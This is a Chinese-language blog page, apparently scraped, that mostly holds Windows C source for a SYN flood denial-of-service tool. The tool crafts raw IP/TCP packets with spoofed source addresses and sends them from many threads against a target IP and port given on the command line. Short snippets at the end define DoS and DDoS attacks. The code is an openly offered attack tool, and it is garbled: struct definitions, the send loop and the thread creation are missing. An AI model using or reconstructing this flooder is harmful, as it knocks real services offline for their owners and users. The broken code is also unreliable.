C 拒絕服務攻擊DOS

2021-06-17 01:13:59 字數 3199 閱讀 7367

#include #include #include #pragma comment(lib,"ws2_32.lib")

#define seq 0x28376839

int threadnum, maxthread, port;

char *destip; //目標ip

void display(void) // 定義狀態提示函式

; printf("=%s= %d threads \r", plays[play], threadnum);

play = (play == 11) ? 0 : play + 1;

}//定義乙個tcphdr結構來存放tcp首部

typedef struct tcphdr tcp_header;

//定義乙個iphdr來存放ip首部

typedef struct iphdr //ip首部

ip_header;

//tcp偽首部,用於進行tcp效驗和的計算,保證tcp效驗的有效性

struct psd_header;

//計算效驗和函式,先把ip首部的效驗和字段設為0(ip_header.checksum=0)

//然後計算整個ip首部的二進位制反碼的和。

ushort checksum(ushort *buffer, int size)

if (size)

cksum += *(uchar*) buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >> 16);

return (ushort)(~cksum);

}dword winapi synfloodthread(lpvoid lp) //synflood執行緒函式

//設定ip_hdrincl以便自己填充ip首部

errorcode = setsockopt(sock, ipproto_ip, ip_hdrincl, (char *) &flag,

sizeof(int));

if (errorcode == socket_error)

//設定傳送超時

errorcode = setsockopt(sock, sol_socket, so_sndtimeo, (char*) &timeout,

sizeof(timeout));

if (errorcode == socket_error)

//設定目標位址

memset(&sockaddr, 0, sizeof(sockaddr));

sockaddr.sin_family = af_inet;

sockaddr.sin_addr.s_addr = inet_addr(destip);

fakeipnet = inet_addr(destip);

fakeiphost = ntohl(fakeipnet);

//填充ip首部

ipheader.h_verlen = (4 << 4 | sizeof(ip_header) / sizeof(unsigned long));

ipheader.total_len = htons(sizeof(ip_header) + sizeof(tcp_header));

ipheader.ident = 1;

ipheader.frag_and_flags = 0;

ipheader.ttl = 128;

ipheader.proto = ipproto_tcp;

ipheader.checksum = 0;

ipheader.sourceip = htonl(fakeiphost + sendseq);

ipheader.destip = inet_addr(destip);

//填充tcp首部

tcpheader.th_dport = htons(port);

tcpheader.th_sport = htons(8080);

tcpheader.th_seq = htonl(seq + sendseq);

tcpheader.th_ack = 0;

tcpheader.th_lenres = (sizeof(tcp_header) / 4 << 4 | 0);

tcpheader.th_flag = 2;

tcpheader.th_win = htons(16384);

tcpheader.th_urp = 0;

tcpheader.th_sum = 0;

psd_header.saddr = ipheader.sourceip;

psd_header.daddr = ipheader.destip;

psd_header.mbz = 0;

psd_header.ptcl = ipproto_tcp;

psd_header.tcpl = htons(sizeof(tcpheader));

for (;;) //end for

sleep(20);

interlockedexchangeadd((long *) &threadnum, -1);

return 0;

}void usage()

int main(int argc, char* argv)

int errorcode = 0;

destip = argv[1]; //取得目標主機ip

port = atoi(argv[2]); //取得目標埠號

maxthread = (maxthread > 100) ? 100 : atoi(argv[3]);

printf("\t %s %d %d\n", destip, port, maxthread);

//如果執行緒數大於100則把執行緒數設定為100

wsadata wsadata;

if ((errorcode = wsastartup(makeword(2, 2), &wsadata)) != 0)

printf("[start]...........\npress any key to stop!\n");

while (threadnum < maxthread) //迴圈建立執行緒 }

wsacleanup();

printf("\n[stopd]...........\n");

return 0;

}

拒絕服務攻擊 DOS)

拒絕服務攻擊 dos dos是denial of service的簡稱,即拒絕服務,造成dos的攻擊行為被稱為dos攻擊,其目的是使計算機或網路無法提供正常的服務。最常見的dos攻擊有計算機網路頻寬攻擊和連通性攻擊。頻寬攻擊指以極大的通訊量衝擊網路,使得所有可用網路資源都被消耗殆盡,最後導致合法的使...

拒絕服務(DoS)攻擊

拒絕服務 denial of service,簡稱dos 型攻擊。四種常見dos攻擊型別 1.頻寬耗用 最陰險的dos攻擊形式是 頻寬耗用 bandwidth consumption 攻擊。其本質是攻擊者消耗掉某個網路的所有可用頻寬。這可以發生在區域網上,不過更常見的是攻擊者遠端消耗資源。這種攻擊有...

DOS 拒絕服務攻擊

dos,denail of service,拒絕服務攻擊。黑客發起大量網路請求來消耗指定伺服器的頻寬與資源,導致不能響應正常使用者。如果有多個計算機來發起惡意請求,就稱為ddos,distributed denial of service,分布式拒絕服務攻擊。dos可以分為多種,常見的是syn fl...